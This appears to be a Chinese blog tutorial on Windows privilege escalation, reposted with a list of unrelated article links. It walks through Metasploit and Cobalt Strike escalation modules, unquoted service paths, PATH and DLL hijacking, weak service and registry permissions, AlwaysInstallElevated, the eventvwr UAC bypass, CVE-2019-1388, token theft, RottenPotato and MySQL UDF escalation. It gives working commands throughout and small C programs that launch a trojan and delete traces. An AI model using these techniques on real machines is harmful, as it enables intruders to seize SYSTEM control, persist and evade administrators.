Windows提权!!!

之前讲过一下提权,但是感觉有点不成体系,所以我们就成体系的来讲一下这个操作系统的提权

目录

Windows的提权

1.Widnows的内核溢出提权

1.MSF自带的提权模块(Win11都能提上来,有点牛逼)

2.CS的插件提权

3.补丁对比提权

2.Windows的错误配置提权

1.Trusted Service Paths提权

2.PATH环境变量提权

3.不安全的服务提权

4.不安全的注册表提权

5.注册表键AlwaysInstall提权

6.Runas提权

7.计划任务提权

8.启动项提权

3.绕UAC提权

1.MSF_bypass_UAC提权&&社工提权

2.基于白名单的AutoElevate绕UAC

3.基于白名单DLL劫持绕过UAC提权

4.CVE-2019-1388_UAC提权

5.Windows令牌窃取攻击提权

4.Potato提权

RottenPotato_MS16-075

5.数据库提权

 1.UDF提权

1.获取密码

2.mysql的版本

3.secure_file_priv的值

4.允许root远程登录

2.启动项提权


Windows的提权

1.Widnows的内核溢出提权

溢出漏洞是一种计算机程序的可更正性缺陷。溢出漏洞的全名:缓冲区溢出漏洞。因为它是在程序执行的时候在缓冲区执行的错误代码,所以叫缓冲区溢出漏洞。缓冲溢出是最常见的内存错误之一,也是攻击者入侵系统时所用到的最强大、最经典的一类漏洞利用方式。成功地利用缓冲区溢出漏洞可以修改内存中变量的值,甚至可以劫持进程,执行恶意代码,最终获得主机的控制权。(永恒之蓝就是一种缓冲区溢出噢)

这个有很多的方式,像什么cs的插件,msf的强大的检测,网上的一些python脚本 ....

但是怎么判断要不要提权呢??

whoami /groups

如果是显示medium的话就要提权 

因为一般管理员的话都是显示的high或者system

其实最简单的就是添加用户(只有system或者administrator才能创建用户,普通管理员都不行)

那么就可以拿这个当成一个权限测试的探针!!! 

下面我们就来讲一下常见的提权方式!!!

1.MSF自带的提权模块(Win11都能提上来,有点牛逼)

众所周知,msf是一个很强大的渗透模块!!!

首先我们先上线一台机器,在没有提权的情况下一般都是创建不了用户的!!

很好access denied !!!  那么我们就去提权(这个靶机是win11)

use multi/recon/local_exploit_suggester
set session  "刚才会话的id"
run                            //这个会自动检测你的windows的可提权部分

这样就能看见一个能提权的部分了 

那么我们直接use  然后run

exploit/windows/local/bypassuac_fodhelper
set session  "你的会话id"
run

然后可以看见就是直接拿到了system的权限 (期间会有一个蓝屏一闪而过,无伤大雅

可以成功验证我们的system权限 

2.CS的插件提权

先上线一个机器

正常的去创建用户肯定是会报错的 

那么我们用cs自带的插件提权

成功提权并且能创建新的用户!!!

其实像其他插件也有(不过似乎不太好用)

   你们自行尝试

3.补丁对比提权

如果实在是环境苛刻,cs msf都上线不了 那么只能在本地执行命令对比提权了

systeminfo

将这一段复制到这个网址

提权补丁信息对比 (shentoushi.top)icon-default.png?t=N7T8https://www.shentoushi.top/av/kb.php就可能能发现一些能用的exp

2.Windows的错误配置提权

在现在的世界中,基本上很多电脑都打了补丁,导致内核溢出提权困难,所以这时候我们就要去看一下管理员是否有一些错误的配置,导致我们可以进行提权!!

1.Trusted Service Paths提权

Trusted Service Paths 漏洞是由系统中的“CreateProcess”函数引起的,并利用了windows文件路径解析的特性。 

首先,我们可以以管理员的身份去打开这一个查看服务,这里的服务都是以system权限去运行的

随便挑一个,那么微软的运行情况,就是这样的!!

  1. 先去D盘下运行Acunetix.exe
  2. 如果上一步不成功的话,那么就会往下找有没有wvs_supervisor.exe的程序,并且运行

那么问题就在这里了,如果该路径没有被双引号包裹,而且路径间存在空格,那么就可以提权

举个栗子

C:\ASUS\Program Files\test.exe

那么我们就可以在C盘的ASUS文件夹下面放一个Progarm.exe的恶意文件!让他运行我们的木马

不过首先我们可以通过命令查看一下有没有错误的配置!!!

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v """

不过这个提权方式一般都很难,因为这种配置基本上都只可能是用户自行配置的错误,微软是不可能会发生这种错误的配置的!!! 就拿win11 和  win 7来举例子

可以看见基本上都是不存在自身的这种错误的配置的

那咋办??为了完成我们这次实验,我们只能手动的模拟一个错误配置咯!!!!

sc create "service"  binpath= "c:\program Files\Common Files\service\services.exe"  start= auto
sc qc service

然后这时候就去看c盘的权限

icalcs "C:"

可以看见 以下成果

先来解释一下

我们没有写的权限捏!!! 于是还要修改权限

icacls "C:"  /grant "BUILTIN\Users" :W

于是我们就有了往c盘下写东西的权限啦!!!!

然后接下来我就模拟实战!!!先上个马,然后用命令去查看一下配置

能看见我们刚才配置的恶意文件

于是上文件,先用c语言编译这个

#include<stdio.h>
#include<stdlib.h>
int main() {
	system("cmd.exe /c   C:\\Users\\whoami\\Desktop\\1.exe");
	return 0;
}

但是,babecue了!!!传不上去!!

那看来可能是配置错误了wuuwuw~~~(只能手动尝试了)

然后......翻车了(安静的让人害怕)

所以这种方法也是有一定的局限性的(翻车??NO!!!)

2.PATH环境变量提权

对于学计算机的童鞋,path这个词肯定不会陌生(java,python,VS这些配置)

其实大家有没有想过我们平时的ipconfig是什么意思???

其实是这样的(按照我这个环境变量来说的话)

  1. 他先去D盘的VMware\bin的文件夹下找一下有没有ipconfig这个exe
  2. 然后就去D盘的java_new\bin下找一下有没有ipconfig这个exe
  3. 最后在C盘的Windows的system32文件夹下面找到了ipconfi.exe

执行了之后,我们才会看到我们的ip信息,但是有没有想过,(按照上面的配置来说)我们可不可以在D盘的vmware的bin下放一个恶意程序叫做ipconfig.exe ???

     

hhhhh ,这就是错误的path配置导致的提权,直接实战!!!

wmic ENVIRONMENT where "name='path'"  get Username , VariableValue

诶嘿,有操作空间!!!

#include<stdio.h>
#include<stdlib.h>
int main() {
	system("cmd.exe /c   C:\\Users\\whoami\\Desktop\\damn.exe");
	system("del C:\\test\\ipconfig.exe");
	return 0;
}

解释一下,这个代码是以system去运行我们的木马,并且删除ipconfig文件(否则就要被管理员发现啦!!!)

然后就是去编译,并且上传啦

在这里先吐槽一下,md为什么windows的cs上传文件这么卡,我用的Linux才不卡

然后就是登管理员用ipconfig

可以看见是成功上线的,并且卡在了ipconfig这里,然后当再次使用ipconfig时又能正常显示!!!

3.不安全的服务提权

由于Windows中的服务一般都是以system权限去运行的,所以如果管理员在配置某一些服务的时候,给予了某些用户能修改这个服务的时候,可能会导致提权

就比如下面,如果我们普通用户可以改掉这个svchost.exe为我们的上线木马,那么就可以提权

那么下面我们就来演示一下,首先以管理员的身份执行以下命令

这个就是在创建一个服务,并且指定了运行的c盘下的1.exe文件

sc create wanli  binpath= "C:\1.exe"

然后使用subinacl这个工具给whoami这个用户赋予完全控制权(F)对于wanli这个服务

subinacl.exe  /service  wanli   /grant=whoami=F

然后通过cs控制的机器去查询能运行的服务

accsesschk.exe “用户名”  -cw * /accepteula   //这个工具需要自己上传

可以看见apache 用户是对wanli这个服务 

然后就可以去该服务了

sc config  wanli  binpath= "C:\Users\apache\desktop\2.exe"

这个就是去修改了wanli这个服务去运行1.exe程序

那么1.exe就可以这么写,记得编译然后上传

#include<stdio.h>
#include<stdlib.h>

int main(){

system("cmd.exe  \c   C:\\你的木马程序的路径");
return 0;

}

最后就是直接启动这个服务了!!(因为有F权限,所以可以直接执行)

shell sc start wanli

提权成功!!!!!

4.不安全的注册表提权

Windows的服务路径存在于Windows的注册表中,如果注册表配置不当,当攻击者可以发现使用低权限修改注册表的时候,就可以提权,(将imagepath修改为恶意文件,重启提权)

说起来有点抽象,我们直接去实战

先去创建服务

sc create  wanli2 binpath= "C:\1.exe"

这一步在管理员的注册表完成,赋予users组wanli2的完全访问权限

然后下面的步骤去cs上线的机器里面执行,这个命令可以列出所有服务

sc query  type= all  state= all | findstr /i service_name.*   | more

然后去查看每一个服务是否配置不当

shell  subinacl.exe  /keyreg  "HKEY_LOACL_MACHINE\system\ControlSet001\services\wanli2"  /display

如果能找到一个服务对于普通用户可以具有完全控制权,那么就可以提权了 

然后就是去改注册表的imagepath了

reg add "HEKY_LOCAL_MACHINE\system\ControlSet001\services\test"  /t REG_EXPAND_SZ   /v  ImagePath  /d  "你的恶意文件的路径" /f

但是这时候是不可以直接重启权限的,因为你只有对注册表的修改权限,并没有启动或者关服务的权限 ,所以这里只能等管理员去自己重启了(普通用户连重启的权限都没得啊!!)

手动模拟一下重启啦嘻嘻嘻,启动服务即提权 

5.注册表键AlwaysInstall提权

AlwaysInstallElevated是注册表的一个键值,当其值为1时候,普通用户可以system权限安装MSI文件

怎么查看是否开启了呢???

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果没开启,你将看到这样的结果

如果开启了,就会是这样的结果(都是1的值)

怎么开启?你可以直接在gpeidt.msc里面去修改,或者你也可以直接敲上这两条命令

reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1

然后提权方式有两种,第一种,你可以上线到msf去用自带的模块去提权

在拿到meterpreter之后,敲上以下的命令

bg
use windows/local/always_install_elevated
set session "刚才的会话的id"
run

然后就会有机率的获得它的system的shell(问就是我没成功)

 

第二种方法就是上线cs,你可以去先生成一个cs的木马,然后把他转换成msi的格式再去上线

其实它的提权原理就是用普通用户以system的身份去运行了你的msi的木马文件

6.Runas提权

在开始之前,先来讲一下一个runas命令

如果管理员想在一个普通用户的shell下想运行一些管理员的命令,可以考虑runas命令

runas /user:"管理员用户的名字" 运行的程序

如果管理员加多了一行这个选项

runas /savecred  /user:administrator   cmd.exe

 那么你以后都不用再次输入密码(凭证原因)

控制面板下的用户账户的凭证管理器查看,如果有的话那么就可以提权了!!!

7.计划任务提权

如果管理员在配置计划任务的时候配置不当的话,导致我们可以更改计划任务下的运行程序,就可以导致提权!!!

然后就是比较玄学了你可以通过这个命令,但是一般是查不到的(权限不够捏)

schtasks  /query  /fo LIST /v

我知道你在想什么(chcp437我也试过啦) 

就算是手动查询也是查不到的 

所以只能玄学的去寻找了

shell accesschk.exe whoami "C:"  -accepteula

可以看见users有写和读的权限 

然后就是把我们的恶意文件上传上去了 (替换掉原来服务的程序)

成功提权 

8.启动项提权

Windows启动目录下的脚本可以开机自启,利用这一特性可以向上述目录传入脚本达到恶意提权的目的,前提是目录或者注册表的更改权限 

这些都是windows的自启动项

还是通过accesschk这个工具去判断有没有权限,如果有的话,那么就可以提权

传个木马上去,然后等到这台电脑启动的时候,他就自己提权了 

3.绕UAC提权

什么是uac,我之前说过了,忘记了的可以去看我之前的这篇文章

红队学习笔记Day6 --->干货分享-CSDN博客

那么在开始之前,我们先来回顾一下,当我们要去运行某一些程序的时候,会看见这样

但是呢,我们去查询,明明我们是管理员啊

hhhhh,因为我们只是普通的管理员,不是administrator这个系统的管理员,所以当我们点了确定之后,我们就能以系统管理员的身份去运行了!!!

所以在cs中,为什么有些用户是有*  原因就是因为 ,如果用 * 就是代表了我是系统的管理员,已经过了UAC了,否则的话,我只是普通的用户或者普通管理员,还得被UAC约束

那么在拿到一个普通管理员的情况下怎么提权呢???

1.MSF_bypass_UAC提权&&社工提权

首先你可以用cs的插件去提权,这个在上面就有,或者你可以用msf的bypassUAC提权

你search 一下bypassUAC 然后挑几个利用一下利用一下就好(前面讲过一个Win11都能提的)

或者还有一个社工的手段 用以下命令

use exploit/windows/local/ask

然后当你run的时候,别人主机就会弹出这个东西来

如果配合你的社工和免杀,说不定能过

2.基于白名单的AutoElevate绕UAC

利用白名单程序的本质实际上就是劫持注册表,这种方式就是去寻找autoelevate属性为True的程序,修改器其注册表command的值,改成我们的payload,该值中指明的字段会在这类程序运行时主动执行!!

说了那么多,说点人话。对于我们电脑的很多程序来说,如果每一项在开机启动的时候都要报一下UAC那么我们电脑是不是就废了,所以就诞生了UAC白名单!!

于是我们可以先去监控一下启动这些进程的时候运行了注册表的什么

可以看见,我们在运行eventvwr的程序的时候,会去注册表的 HKCU\Software\Classes\mscfiles\shell\open\command下运行命令

但是显示notfound 所以我们就可以往里面写入内容

reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /t    REG_SZ  /d  "cmd.exe /c  恶意程序 "


reg add HKCU\Software\Classes\mscfile\shell\open\command  /v  DelegateExecute  /t  REG_SZ

然后当我们再去运行这个程序的时候,就可以绕过UAC去运行!!!!(此程序为UAC的白名单程序)   看看看!!!! 是不是就是这个原理??

其实这个有没有一键的方法呢??? 肯定有啊!!!cs的插件不就有吗!!!

    看见没,是不是有一些就是这个原理!!!

3.基于白名单DLL劫持绕过UAC提权

这个就有点意思了,有点免杀木马的那味了!!!!先来解释一下DLL

DLL是动态链接库,又称为"应用程序扩展",是软件的文件类型。在Windows中的许多应用程序并不是一个完整的可执行程序文件,他们被分割成一些相对独立的动态连接库文件(DLL)放置在系统中

说点人话,就是像极了我们运行一个python的程序,是不是我们也要导入一些库文件

所以就可以这样理解,比如我们要运行微信这个程序,他需要去调用一些DLL,才能将整个程序运行起来,所以!!!!如果我们将这个DLL改成一个恶意的DLL文件,当这个程序被运行的时候,就会调用这个恶意的DLL,我们的shellcode就会运行,导致"RCE",这就是DLL劫持!!

但是!!! 微软有这么傻吗??? 微软通过增加Know DLLS注册表做到防止大部分的DLL被劫持

所以我们就要去找一些既是UAC白名单又能被劫持的程序

SystemPropertiesAdvanced.exe 是 Windows 操作系统的标准文件,通常不需要通过用户账户控制 (UAC) 的白名单来运行。它是一个系统性的工具,通常不会被 UAC 阻止。

然后同构process monitor可以看见,他是调用到了powershell里面的dll

为什么呢?首先得来了解一下Windows的dll调用方法

如果在前五个都没有找到这个DLL的话,就会去环境变量里面找,刚好我们的环境变量里面是有powershell的!!!!

那就是说这个程序在运行的时候,调用到的dll会去到环境变量查找,那么如果我们能在一个可以改动环境变量的目录下伪造这个一个恶意的DLL是不是就能绕过UAC提权!!!!

那么先去准备一个shellcode

然后编译成一个DLL文件

改名为一开始程序调用的dll文件名字    

然后我们可以直接修改他的注册表,其中,这个"C:\test"是你自己加上去的环境变量路径

setx PATH   "%PATH%;C:\test"   //这一步需要普通管理员权限

然后就把刚才写的dll传到这个目录下!!在cs运行服务,即上线!!!!

管理员权限,而且是以UAC白名单的程序去运行!!!!!

4.CVE-2019-1388_UAC提权

这个提权方式不适用于MSF或者CS,只能远程桌面去使用!!!

该漏洞提权是一个Windows证书对话框特权提升漏洞。此漏洞是因为UAC机制设定不严导致的。默认情况下,Windows UAC提示是由consent.exe的可执行文件生成的,并且该程序是以NT AUTHORITY\SYSTEM 身份去运行的,具有system的完整性水平!!!

但是有适用的范围,以下的

那么下面,我们就来复现一下,先打开这个程序

再去点击这个

   点击确定,然后再退出UAC

这个过程所有的操作,都是以着system的权限去运行的哦哦哦哦哦

找到cmd,然后打开 

这时候我们的shell权限,就是system了!!!

5.Windows令牌窃取攻击提权

其实,这算不算是一种提权手法呢??我觉得是不算的,为什么??一会看就知道力

令牌(Token)是系统的临时密钥,相当于账户名和密码,用于决定是否允许这次的请求和判断这次请求属于哪一个用户的,它允许你再不提供密钥或者其他凭证的前提下,访问网络和系统的资源,这些令牌持续存在在系统中,除非系统重新启动

其中提权,用的还是访问令牌比较多

 

这时候,如果我们能拿到一个过了UAC的管理员,或者administrator用户,就可以通过工具来窃取system的令牌!!!

然后窃取它的令牌,就能提权了

其实你说这个算不算是提权呢 ,我都已经能拿到过了uac的管理员权限或者administrator的权限了。提升至system只需要写个计划任务或者runas一下不就好了吗

 

其实我们的msf中的

getsystem

就是通过窃取到了system的令牌,从而达到的提权,这也解释了为什么普通用户或者一般管理员getsystem没用(因为他们偷不了令牌,当然了管道也是不行的)

getsystem就是通过管道基数或者窃取令牌的手段提的权,都需要过了UAC的管理员或者administrator

4.Potato提权

土豆家族在提权这一方面,确实挺不错的,cs的很多插件也有

    

那么我们下面就来讲一些土豆吧

RottenPotato_MS16-075

1.  欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
2.  对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3.  模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

利用场景,当我们以webshell进去的时候,说不定权限比较低,如果是IIS服务账户,说不定我们就可以进行烂土豆提权(其实说到最后还是令牌的窃取(偷的system的令牌))

先传个potato上去,以下代码在meterpreter中运行
execute -cH -f ./potato.exe
use incognito
list_tokens -u

如果你看到这样的界面,就不用往下做了,换一种方式,没权限偷不了一点,(看不见system)

如果能看见system,那就说明可以偷

开偷

impersonate_token "NT AUTHORITY\SYSTEM"

其他的土豆也有,不过原理很复杂,这里我就不讲了,直接用插件就是

5.数据库提权

默认情况下,MSSQL, MySQL, Oracle均以 nt authority\system权限(系统服务)或
Administrator权限(管理员手动)运行 ,提权成功率较高。
 1.UDF提权

先上个效果图片

UDF(Userdefined function)可翻译为用户自定义函数,其为mysql的一个拓展接口,可以为mysql增添一些函数。比如mysql一些函数没有,我就使用UDF加入一些函数进去,那么我就可以在mysql中使用这个函数了。

利用数据库提权需要以下前提

  1. 需要获取账号和密码
  2. 如果你的操作系统在5.2以下,你就要将udf.dll放在 C:\windows/system32下面,否则,你就要放在mqsql的/lib/plugin下面(一般都是这个)
  3. secure_file_priv的值
  4. 允许root远程登录!!!

那么我们分别来说一下每一个项

1.获取密码

这个需要你去翻一下有没有一些配置config的文件,一些网站的源代码说不定有

或者你直接用sqlmap去跑,说不定能跑出来密码

2.mysql的版本

建议用这两个命令去查一下

select version();    //查看Mysql版本

下面这个命令决定了后面我们要用什么dll文件 

select @@version_compile_os, @@version_compile_machine;  

 32位的不能用64位的dll

3.secure_file_priv的值
show variables like "%secure%"

一定要能看见是没有任何显示,就算是NULL也不行!!!!!

那么,如果他是呢??        那没事,可以改

可以去my.ini那里加一行

[mysqld]

secure_file_priv = ""   //加上这个

4.允许root远程登录

5.7的版本以前写这句

mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY 'root' WITH GRANT OPTION;

以后的版本

-- 创建用户
CREATE USER 'root'@'%' IDENTIFIED BY 'root';
-- 授权
grant all privileges on *.* to 'root'@'%' ;

然后就可以开搞了!!

先去mysql里面创建一个/删除原来的udf.dll ,确保这里面没有udf.dll并且有/lib/plugin这个目录

然后可以去用msf的模块攻击

msfconsole
use  exploit/multi/mysql/mysql_udf_payload
set rhost 
run

开始攻击 

然后就是去准备一个udp.dll

MySQL UDF 提权十六进制查询 | 国光 (sqlsec.com)icon-default.png?t=N7T8https://www.sqlsec.com/tools/udf.html然后将后面的这个路径换成靶机上的mysql的路径

写完之后,就能看见两个文件了在/lib/plugin下

最后在去创建一个运行我们命令的函数

create function sys_eval returns string soname "udf.dll";

然后就大公告成!!!可以提权了

select sys_eval("命令")

成功提权

2.启动项提权

前面是不是说过mysql是以system权限运行的来着!!!

那么我们的思路是不是就可以将木马写在它的自启动程序!!!  

思路有了开搞,先找一个启动的地方

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

然后敲上这个命令

select load_file("C:\\Users\\liukaifeng01.GOD\\Desktop\\demo.exe") into dumpfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\1.exe";

前面的路径是你木马的路径,后面则是windows的启动项目,如果没有什么意外,再次getshell还是可以的!!!

但是,如果他是以普通管理员登录的话,!!!那么你也只能拿到一个普通管理员的权限

如果他是以administrator登录的话,你就可以拿到administrator的权限!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/504138.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

毕设论文目录设置

添加目录 选择一种格式的自动目录 更新目录 发现该目录中只有1、2章&#xff0c;3、4章 然后再点击更新目录 对应的&#xff0c;小标题添加二级目录

基于JavaSpringMVC+Mybatis+Jquery高校毕业设计管理系统设计和实现

基于JavaSpringMVCMybatisJquery高校毕业设计管理系统设计和实现 博主介绍&#xff1a;多年java开发经验&#xff0c;专注Java开发、定制、远程、文档编写指导等,csdn特邀作者、专注于Java技术领域 作者主页 央顺技术团队 Java毕设项目精品实战案例《1000套》 欢迎点赞 收藏 ⭐…

【C语言】结构体详解(一)

目录 1、什么是结构体? 2、结构体成分 3、结构体变量的定义与初始化 3.1、结构体变量的三种定义方式 3.2、结构体变量的初始化 4、结构体成员的访问&#xff08;两种方式&#xff09; 4.1、直接访问 4.2、间接访问 5、结构的特殊声明 5.1、不完全声明&#xff08;匿…

医院陪诊管理系统(源码+文档)

TOC) 文件包含内容 1、搭建视频 2、流程图 3、开题报告 4、数据库 5、参考文献 6、服务器接口文件 7、接口文档 8、任务书 9、功能图 10、环境搭建软件 11、十六周指导记录 12、答辩ppt模板 13、技术详解 14、前端后台管理&#xff08;管理端程序&#xff09; 15、项目截图 1…

06-JavaScript DOM对象

1. 从ECMA到W3C 我们知道&#xff0c;ECMA定义的是js的变量语法等基础的标准规范&#xff0c;而W3C是针对浏览器API提出的规范&#xff0c; 所以我们要工作不可能只了解语法&#xff0c;我们的代码要在浏览器上跑起来就需要我们去了解W3C的标准。 那么W3C规定了哪一系列的的A…

深入PostgreSQL中的pg_global表空间

pg_global表空间的位置 在PG当中&#xff0c;一个实例(cluster)初始化完以后&#xff0c;你会看到有下边两个与表空间相关的目录生成&#xff1a; $PGDATA/base $PGDATA/global 我们再用元命令\db以及相关视图看看相应的表空间信息&#xff1a; postgres# \db …

28. UE5 RPG同步面板属性(四)

在前面几篇中&#xff0c;我们实现了以下步骤&#xff1a; 首先我们需要通过c去实现创建GameplayTag&#xff0c;这样可以在c和UE里同时获取到Tag创建一个DataAsset类&#xff0c;用于设置tag对应的属性和显示内容创建AttributeMenuWidgetController实现对应逻辑 上面几步在前…

MySQL数据库下,使页面传入的数据与保存的数据编码一致

一、查询当前MySQL数据库的编码 &#xff08;1&#xff09;登录MySQL数据库&#xff08;Windows系统&#xff09;&#xff1a;winR打开命令终端&#xff0c;cd到MySQL的bin目录&#xff0c;输入mysql -u root -p&#xff0c;回车后输入登录密码 &#xff08;2&#xff09;查看…

【C++】C++入门第一课(c++关键字 | 命名空间 | c++输入输出 | 缺省参数)

目录 前言 C关键字 命名空间 1.命名空间的定义 A.标准命名空间定义 B.命名空间允许嵌套定义 C.同名命名空间的合并 2.命名空间的使用 加命名空间名称及作用限定符 使用using将命名空间中某个成员引入 使用using namespace命名空间名称引入 C的输入和输出 缺省参数…

C++类基础5——拷贝构造函数,拷贝赋值运算符(复制构造函数,复制赋值运算符)

拷贝控制操作 当定义一个类时&#xff0c;我们显式地或隐式地指定在此类望的对象拷贝&#xff0c;移动、赋值和销毁时做什么。 一个类通定义五种特殊的成员函数来控制这些操作&#xff0c;包括&#xff1a;拷贝构造函数(copy consinuctor)、拷贝赋值运算符(copy-assignment op…

如何修复开机但不显示任何内容的计算机?这里提供详细步骤

前言​ 计算机“无法开机”的最常见方式是PC实际开机但在显示器上不显示任何内容。你看到电脑机箱上的灯,可能看到里面的风扇在转,甚至可能听到声音,但屏幕上什么也没有显示,请按照我们提供的顺序尝试以下常见修复方法。 测试显示器 在对计算机的其余部分进行更复杂和耗时…

Mac 下安装maven教程

note&#xff1a;网上已经有很多该类型教程了&#xff0c;这边自身保留一份&#xff0c;方便后面使用&#xff1b; 一、安装地址&#xff1a;官网 二、安装步骤 $ tar -xvf apache-maven-3.3.9-bin.tar.gz //mac支持手动点击解压 $ sudo mv -f apache-maven-3.3.9 /usr…

C语言函数递归调用

在C语言中&#xff0c;函数可以直接或间接地调用自身&#xff0c;这种函数调用自身的过程称为递归调用。递归是一种强大的编程技巧&#xff0c;能够简化程序结构、提高代码的可读性和可维护性。本文将介绍C语言函数递归调用的原理、应用场景以及注意事项。 以下是我整理的关于…

HANA中的内存及磁盘使用统计

1. 引言 在实际使用中&#xff0c;通过HANA的admin控制台&#xff0c;确实可以得到很多重要的信息。但有的时候不如人愿&#xff0c;你需要提供相应的SQL语句得到具体的信息。 比如&#xff0c;我要得到所有的行表的内存及磁盘占用信息&#xff1b;我需要得到所有列表的内存及…

[WebGL] 实例化绘制性能测试

实例化绘制&#xff08; Instanced Drawing &#xff09;是 OpenGL / WebGL 等图形 API 中常用的性能优化技术&#xff0c;它适用于同样的模型绘制次数非常多的场景&#xff0c;能够有效的降低显存占用和图形 API 接口调用的次数&#xff0c;达到性能提升的效果。以前我只知道怎…

蓝桥杯 java 承压计算

题目: 思路&#xff1a; 1&#xff1a;其中的数字代表金属块的重量(计量单位较大) 说明每个数字后面不一定有多少个0 2&#xff1a;假设每块原料的重量都十分精确地平均落在下方的两个金属块上&#xff0c;最后&#xff0c;所有的金属块的重量都严格精确地平分落在最底层的电子…

QT 二维坐标系显示坐标点及点与点的连线-通过定时器自动添加随机数据点

QT 二维坐标系显示坐标点及点与点的连线-通过定时器自动添加随机数据点 功能介绍头文件C文件运行过程 功能介绍 上面的代码实现了一个简单的 Qt 应用程序&#xff0c;其功能包括&#xff1a; 创建一个 MainWindow 类&#xff0c;继承自 QMainWindow&#xff0c;作为应用程序的…

物联网学习1、什么是 MQTT?

MQTT&#xff08;Message Queuing Telemetry Transport&#xff09;是一种轻量级、基于发布-订阅模式的消息传输协议&#xff0c;适用于资源受限的设备和低带宽、高延迟或不稳定的网络环境。它在物联网应用中广受欢迎&#xff0c;能够实现传感器、执行器和其它设备之间的高效通…

FLASH的读取与写入

FLASH的写入 结合HAL库所给参数&#xff1a; 查阅具体使用芯片的参考手册。 就不在详细解释&#xff0c;英文自行翻译。具体代码如下&#xff1a; /*FLASH写入程序*/ void WriteFlashTest(uint32_t L, uint32_t addr, uint32_t *Data,int Page) {int i0;/* 1/4解锁FLASH*/HAL…

揭秘五力模型:轻松掌控企业竞争命脉,决策不再迷茫!

五力分析模型又成为波特五力模型是由著名的管理学者迈克尔波特(Michael Porter)在20世纪80年代初提出的一种理论框架&#xff0c;它对企业营销中的战略制定产生了全球性的深远影响。这一模型被广泛应用于企业竞争战略的分析&#xff0c;可以帮助企业有效地分析企业在营销环境中…